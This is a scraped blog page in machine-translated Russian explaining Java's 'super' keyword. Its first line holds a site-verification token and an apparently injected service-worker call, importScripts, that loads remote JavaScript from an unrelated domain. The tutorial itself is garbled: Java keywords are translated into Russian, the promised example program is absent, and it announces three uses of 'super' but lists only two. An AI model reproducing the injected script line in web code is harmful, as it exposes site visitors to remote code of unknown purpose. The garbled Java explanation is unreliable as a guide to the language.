google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Супер ключевое слово в Java

Супер относится к родительскому классу. Он содержит идентификатор ссылки 
родительского раздела объекта дочернего класса. Посмотрите на приведенный ниже пример.
класс А
{
                int 
x = 10;
}
класс B расширяет A
{
                int 
x = 20;
}
Супер ключевое слово в Java
Здесь вы можете видеть, что в дочернем объекте 
создаются два отдельных раздела , а именно родительский раздел и дочерний раздел. Так что супер на самом деле ссылаются на 
родительский раздел.

Использование Super Keyword в Java

Есть три использования супер ключевого слова в Java.
  • Доступ к переменной экземпляра родительского класса.
  • Вызвать метод родительского класса.
Ниже программа покажет все три использования супер 
ключевого слова.
           
Супер ключевое слово в Java - вывод
  • Здесь оба класса имеют переменную x и метод show (). Чтобы получить доступ к переменной дочернего класса, мы просто пишем x, а для доступа к переменной родительского класса мы пишем super.x.
  • Аналогично, для вызова метода child мы просто пишем 
    show (), а для вызова метода 
    parent мы пишем super.show (). Таким образом , супер также используется для удаления проблемы 
    с переопределения метода .
  • super () должна быть первой строкой конструктора. В приведенном выше 
    примере мы написали super () в первой строке конструктора дочернего класса для 
    вызова конструктора родительского класса.
  • Супер не может быть использован в статическом методе.
  • По умолчанию super - это первая строка конструктора. Ключевое слово Super 
    и это ключевое слово нельзя использовать вместе в конструкторе.

Комментариев нет:

Отправить комментарий